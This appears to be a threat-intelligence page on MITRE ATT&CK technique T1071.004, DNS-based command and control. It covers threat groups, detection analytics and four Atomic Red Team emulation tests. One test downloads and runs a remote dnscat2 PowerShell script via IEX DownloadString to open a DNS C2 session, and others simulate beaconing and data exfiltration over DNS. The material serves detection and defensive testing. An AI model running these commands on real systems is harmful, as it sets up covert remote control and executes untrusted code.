tfMITRE ATT&CK sub-technique

DNS T1071.004

sub-technique of T1071 Application Layer Protocol

Tactic: Command and Control
Platforms: ESXi, Linux, macOS, Network Devices, Windows
Version: 1.4
Created: 15 March 2020
Last modified: 12 May 2026
Contributors: Jan Petrov, Citi; Chris Heald

Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 17%

Threat groups83rd percentile · 83% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 9%

Tools & malware91st percentile · 91% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 8%

Detection rules92nd percentile · 92% of ATT&CK techniques have this many detection rules written or fewer.

DNS MITRE reference T1071.004

Top 17%of all ATT&CK techniques for number of groups

11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Ember BearG1003 ↗

Has used DNS tunnelling tools, such as dnscat/2 and Iodine, for C2 purposes.1

created 2022-06-091 referenceaka UNC2589

LazyScripterG0140 ↗

Has leveraged dynamic DNS providers for C2 communications.1

created 2021-11-241 reference

ChimeraG0114 ↗

Has used Cobalt Strike to encapsulate C2 in DNS traffic.1

created 2020-08-241 reference

APT41G0096 ↗

Used DNS for C2 communications.1 2

created 2019-09-232 referencesaka Wicked Panda

APT39G0087 ↗

Has used remote access tools that leverage DNS in communications with C2.1

created 2019-02-191 referenceaka ITG07

Tropic TrooperG0081 ↗

Tropic Trooper's backdoor has communicated to the C2 over the DNS protocol.1

created 2019-01-291 referenceaka Pirate Panda

All 11 groups for this technique · 6 newest in this preview

Offense vs defense T1071.004

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 23Splunk ESCU (cumulative) · 9

first rule: 2018 Q1 · 1 of 1 campaigns plotted

DNS detection strategy DET0400

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Behavioral Detection of DNS Tunneling and Application Layer Abuse

Enterprise

5 platforms

AN1121 · Windows

Detects high-frequency or anomalous DNS queries initiated by non-browser, non-system processes (e.g., PowerShell, rundll32, python.exe) used to establish command and control via DNS tunneling.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22
Network Traffic ContentDC0085	NSM:Flow	dns.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
QueryLengthThreshold	Subdomain length for detecting base32/base64-encoded payloads
ProcessImageFilter	Flag non-standard executables making DNS queries
TimeWindow	Rate of queries in short interval per process

AN1122 · Linux

Detects local daemons or scripts generating outbound DNS queries with long or frequent subdomains, indicative of DNS tunneling via tools like iodine, dnscat2, or dig from cronjobs or reverse shells.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
Network Traffic ContentDC0085	NSM:Flow	dns.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
SubdomainEntropyScore	Detects encoded payloads or randomness in DNS labels
DaemonAllowList	Allowlisted system daemons expected to perform frequent lookups

AN1123 · macOS

Detects scripting environments (AppleScript, osascript, curl) or non-native tools performing DNS queries with encoded subdomains, often used for data exfiltration or beaconing.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	macos:unifiedlog	log stream 'eventMessage contains "dns_request"'

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
EntropyThreshold	Tunable threshold for randomness in subdomain labels
UncommonProcessContext	Filters on user-launched or cron-based queries

AN1124 · Network Devices

Detects clients issuing DNS queries with high volume, long subdomain lengths, encoded payload patterns, or to known malicious infrastructure; indicative of DNS-based C2 channels.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic ContentDC0085	NSM:Flow	dns.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
DomainReputationFeed	List of suspicious/malicious C2 domains
QueryRatePerClient	Tunable burst rate per IP per second

AN1125 · ESXi

Detects unusual outbound DNS traffic from ESXi hosts, often from shell scripts, custom daemons, or malicious VIBs interacting with external DNS infrastructure outside the management plane.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	esxi:syslog	/var/log/syslog.log
Network Traffic ContentDC0085	NSM:FLow	dns.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
OutboundDNSVolume	Threshold for data volume and frequency from ESXi IPs
KnownGoodVIBs	Baseline known packages for allowlist comparison

Tests4ExecutorsPowerShell 4Need elevation0 of 4Have prerequisites0Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

DNS Large Query Volume

windows

PowerShell

—

This test simulates an infected host sending a large volume of DNS queries to a command and control server. The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.

Input arguments

Name	Type	Default	Description
domain	string	127.0.0.1.nip.io	Default domain to simulate against
subdomain	string	atomicredteam	Subdomain prepended to the domain name
query_type	string	TXT	DNS query type
query_volume	integer	1000	Number of DNS queries to send

Attack command

for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type "#{query_type}" "#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout}

GUID29c24a07-656b-4833-9cd8-2cea6422495a

DNS Regular Beaconing

windows

PowerShell

—

This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time. This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.

Input arguments

Name	Type	Default	Description
domain	string	127.0.0.1.nip.io	Default domain to simulate against
runtime	integer	30	Time in minutes to run the simulation
c2_jitter	integer	20	Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests
subdomain	string	atomicredteam	Subdomain prepended to the domain name
query_type	string	TXT	DNS query type
c2_interval	integer	30	Seconds between C2 requests to the command and control server

Attack command

Set-Location "PathToAtomicsFolder"
.\T1071.004\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}

GUID663a55d4-f541-4c81-8eba-7d3bdd43bb69

DNS Long Domain Query

windows

PowerShell

—

This test simulates an infected host returning data to a command and control server using long domain names. The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold. Upon execution, DNS information about the domain will be displayed for each callout.

Input arguments

Name	Type	Default	Description
domain	string	127.0.0.1.nip.io	Default domain to simulate against
subdomain	string	atomicredteamatomicredteamatomicredteamatomicredteamatomicredte	Subdomain prepended to the domain name (should be 63 characters to test maximum length)
query_type	string	TXT	DNS query type

Attack command

Set-Location "PathToAtomicsFolder"
.\T1071.004\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}

GUID3763b0f7-31a1-4c2e-9ab8-cf84b2a41ef2

DNS C2

windows

PowerShell

—

This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command. The following blogs have more information. https://github.com/iagox86/dnscat2 https://github.com/lukebaggett/dnscat2-powershell

Input arguments

Name	Type	Default	Description
domain	string	example.com	Domain Name configured to use DNS Server where your C2 listener is running
server_ip	string	127.0.0.1	IP address of DNS server where your C2 listener is running

Attack command

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')
Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}

GUID6fd8fa67-2370-451d-bdc1-e9833a829dc5

Tests from Atomic Red Team (MIT licence) · technique definition

DNS detections T1071.004

32 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 8%of all ATT&CK techniques for number of rules

Product

(none) 11

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs